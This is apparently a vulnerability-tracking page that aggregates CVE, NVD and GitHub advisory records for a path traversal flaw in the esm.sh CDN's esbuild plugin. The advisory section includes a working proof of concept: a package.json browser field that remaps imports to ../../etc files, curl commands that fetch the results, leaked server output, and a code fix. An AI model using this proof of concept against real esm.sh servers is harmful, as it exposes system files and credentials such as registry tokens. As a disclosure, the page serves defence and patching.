esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-44594
Publishedesm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
- Source published
- 28 May 2026 14:45:04 UTC
- Source modified
- 28 May 2026 15:31:19 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-44594
Publishedesm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-22
Original publisher date fields
published: 2026-05-28T16:16:24.717
lastModified: 2026-10-26T13:10:00.140
- Source published
- 28 May 2026 16:16:24 UTC
- Source modified
- 26 Oct 2026 13:10:00 UTC
- Observed here
- 27 Oct 2026 11:12:17 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-rg65-45m7-hq57
Published### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/[email protected]" curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan
- Source published
- 12 May 2026 22:22:42 UTC
- Source modified
- 25 Jun 2026 23:11:31 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Publisher rating · HIGH
osv · GO-2026-5620
Publishedesm.sh: Path Traversal via package.json browser field allows reading arbitrary server files in github.com/esm-dev/esm.sh
- Source published
- 25 Jun 2026 22:34:34 UTC
- Source modified
- 25 Jun 2026 23:01:34 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.